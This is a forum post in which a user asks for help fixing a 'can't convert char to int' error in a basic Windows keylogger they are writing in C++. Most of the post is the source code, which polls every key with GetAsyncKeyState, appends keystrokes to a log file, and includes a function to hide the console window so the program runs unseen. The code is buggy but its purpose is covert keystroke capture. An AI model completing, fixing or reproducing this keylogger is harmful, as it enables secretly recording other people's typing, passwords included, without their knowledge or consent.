Thread: can't convert char to int

Hello, so im writing a basic keylogger and i want to add data to log file, but it says that i cant convert char to int. Everything else works fine.
Any ideas?

Code:

#include <iostream>#include <windows.h>
#include <stdio.h>
#include <time.h>


using namespace std;


int Save(char *file, int key)
{
    FILE* myfile;
    myfile = fopen(file, "a+");


    if(key == 1 || key == 2)
        return 0;
    else if(key == 96)
        fprintf(myfile, "%s", "0");
    else if(key == 97)
        fprintf(myfile, "%s", "1");
    else if(key == 98)
        fprintf(myfile, "%s", "2");
    else if(key == 99)
        fprintf(myfile, "%s", "3");
    else if(key == 100)
        fprintf(myfile, "%s", "4");
    else if(key == 101)
        fprintf(myfile, "%s", "5");
    else if(key == 102)
        fprintf(myfile, "%s", "6");
    else if(key == 103)
        fprintf(myfile, "%s", "7");
    else if(key == 104)
        fprintf(myfile, "%s", "8");
    else if(key == 105)
        fprintf(myfile, "%s", "9");
    else if(key == 8)
        fprintf(myfile, "%s", "[BACKSPACE]");
    else
        fprintf(myfile, "%s", &key); // saves key to log file


    cout << key << endl;
    fclose(myfile);




}


void Stealth() // makes window invisible
{
    HWND stealth;
    AllocConsole();
    stealth = FindWindow("ConsoleWindowClass", NULL);
    ShowWindow(stealth, NULL);
}


int main()
{
    char i;
    char *time1;
    time_t rawtime;


    struct tm *timeinfo;
    time(&rawtime);
    timeinfo = localtime(&rawtime);
    //cout << asctime(timeinfo);
    time1 = asctime(timeinfo);


    Save("Time.txt", time1); //this is the error


    //Stealth();


    while(true)
    {
        for(i=8; i<=190; i++)
        {
            if(GetAsyncKeyState(i) == -32767) // checks if any key is pressed
            {
                Save("Log.txt", i);
            }
        }
    }
}

But how can i make it work? I tried to in function Save to declare key as char, but then it says: cant convert 'char*' to 'char'.
